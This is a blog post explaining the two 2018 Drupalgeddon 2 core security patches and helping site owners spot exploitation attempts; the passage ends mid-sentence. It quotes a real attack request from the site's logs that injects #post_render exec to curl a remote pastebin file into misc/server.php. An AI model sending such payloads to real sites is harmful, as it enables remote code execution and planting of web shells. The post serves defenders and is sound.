Drupalgeddon 2 – What & Why

This past March and April, the Drupal Security Team announced two highly critical security patches: “Drupal core – Highly critical – Remote Code Execution – SA-CORE-2018-002” and “Drupal core – Highly critical – Remote Code Execution – SA-CORE-2018-004“. First off, before I go any further, if you operate a Drupal site and have not applied these patches already, please patch your site right now. Unfortunately (and not to get too pessimistic), if your site has some traffic and the patch has not been applied, your site is most likely already hacked. If your site was exploited, please visit Your Drupal site got hacked. Now what? immediately.

Security Patch #1 – SA-CORE-2018-002

If we take a dive into the patch file provided by the Drupal Security Team, we can see two files were edited:

1. includes/bootstrap.inc

2. includes/request-sanitizer.inc

In these files, a new line was added to bootstrap.inc which calls a new function within request-sanitizer. Two new functions were added to request-sanitizer:

1. sanitize

2. stripDangerousValues

Looking at the flow, the sanitize() function is added to bootstrap.inc to check the parameters being passed through. For those parameters, it will remove “dangerous values” from the parameters, thus the name. If you check out the code for Drupal 7.x found here, you can see that the security patch is fairly small. Don't let the amount of code fool you though, the implications are massive.

The Issue

For all version 6, 7, and 8 of Drupal there was a vulnerability with sending data through the Form API – if there exists a property key with a hash sign #, the data associated with it would pass through. Why is this an issue? Well if you think about how developers use some of the APIs in Drupal, many of them contain #signs in them. Take one look at the Form API in Drupal 7, and you can see many, many properties marked with a # – #prefix, #markup, #post_render, #pre_render, #type, etc. This means that a hacker could in theory create a GET or POST request to certain URLs, passing in whatever data they wanted. Scary.

Security Patch #2 – SA-CORE-2018-004

SA-CORE-2018-004 piggybacks on the first security patch but has a little different user case. If you look at the security list outlined on the announcement you will see “20∕25 AC:Basic/A:User/CI:All/II:All/E:Exploit/TD:Default.” The “A:User” comes from this description of security risk levels and means that it applies for “user-level access.” What does that mean? It means that there must be some level of permission for issue to be exploited. While that may be some relief, it is still highly critical. If a hacker successfully exploited the first security issue, then they would easily be able to maneuver past this. Looking at the patch, we can see 4 impacted files:

1. bootstrap.inc

2. common.inc

3. request-sanitizer.inc

4. file.module

The main takeaway from this patch is the cleanDestination() function added to request-sanitizer.inc (which was added in the first security patch). The purpose of cleanDestination is to “remove the destination if it is dangerous” per code comments. This function uses the previously built stripDangerousValues and determines if the destination is “dangerous.” If it is, it will unset the destination from the request and trigger an error: “Potentially unsafe destination removed from query string parameters (GET) because it contained the following keys: @keys.” This adds another layer of security to requests sent to Drupal alongside the stripDangerousValues.

Exploitations in the Wild

The question you may be asking yourself now is “will this happen to me?” Yes. Yes, it will.

Back in March, I was the one who had the opportunity to apply the fix to Drupal Core. A fairly simple process that took all of 5 minutes. So, in thinking about the security patch almost a month later, I decided to do some digging into our logs to see if anyone had actually attempted to use this exploitation on our site. I used references from the Internet Storm Center, a site that “gathers millions of intrusion detection log entries every day”, to pinpoint exactly what to look for. In their article “Drupal CVE-2018-7600 PoC is Public“, hackers can be seen trying to manipulate different API calls with the # sign.

As it so happens, Outside Online was targeted in the past two weeks with this exploit.

134.196.51.197 - - [19/Apr/2018:07:24:26 +0000] "POST /category/indefinitelywild/?q=user/password&name[%23post_render][]=exec&name[%23markup]=curl+-o+misc%2fserver.php+https%3a%2f%2fpastebin.com%2fraw%2fhhWU03ih&name[%23type]=markup HTTP/1.1" 200 10326 "-" "Mozilla/5.0 (Windows NT 5.1; rv:47.0) Gecko/20100101 Firefox/47.0"

Looking at that request from our logs above, it already looks very suspicious. There shouldn't be any POST requests going to a category page, especially not a user POST request. Let's clean it up a little:

POST /category/indefinitelywild/?q=user/password&name[#post_render][]=exec&name[#markup]=curl+-o+misc/server.php+https://pastebin.com/raw/hhWU03ih&name[#type]=markup

Immediately there are some suspicious aspects to this request. First off, exec is a PHP function used to immediately execute code. Secondly, the code is sending a curl request to a pastebin URL which sounds dangerous. Basically, the hacker was trying to execute whatever functionality was in their pastebin. When the post_render function fired, it would call exec on curl+-o+misc/server.php+https://pastebin.com/raw/hhWU03ih which would download whatever is in the pastebin and run it. Scary scary scary. Note, I went to the pastebin URL, it has been removed.

For the second security patch, we stayed diligent, patched our site as soon as possible, and thankfully didn't see any problems. Fortunately we have the resources to do that because the second security patch had known exploits in the wild hours after it was released.

What Should You Look For?

Exploitations for this issue are most commonly pointed at anything dealing with user. Why? There is one common form in Drupal sites that hackers can assume – user login, user registration, user password reset, etc. All Drupal sites have users associated with them otherwise they would be static websites. Thus, hackers use this common denominator on all sites instead of trying to search page by page to find a form.

Another thing to look for is any passing of exec in a URL – this is a request trying to execute code. Lastly, in these requests, the only possible targets are parameters with the # sign.

If you suspect that your site has been hacked, here are a couple signs and methods that have been shared online:

1. The most obvious, but also still-used way is to replace the homepage. Some hackers replace the homepage announcing the hack and a link to their profile to “pay” them.

2. New users added to your site that you don't recognize.

3. If you have access to the code repository with source control like git, if you run git status and notice new php file, changes to js files, etc. that you know were not part of your code changes, then hackers most likely were able to access them.

4. Another sneaky attack is by injecting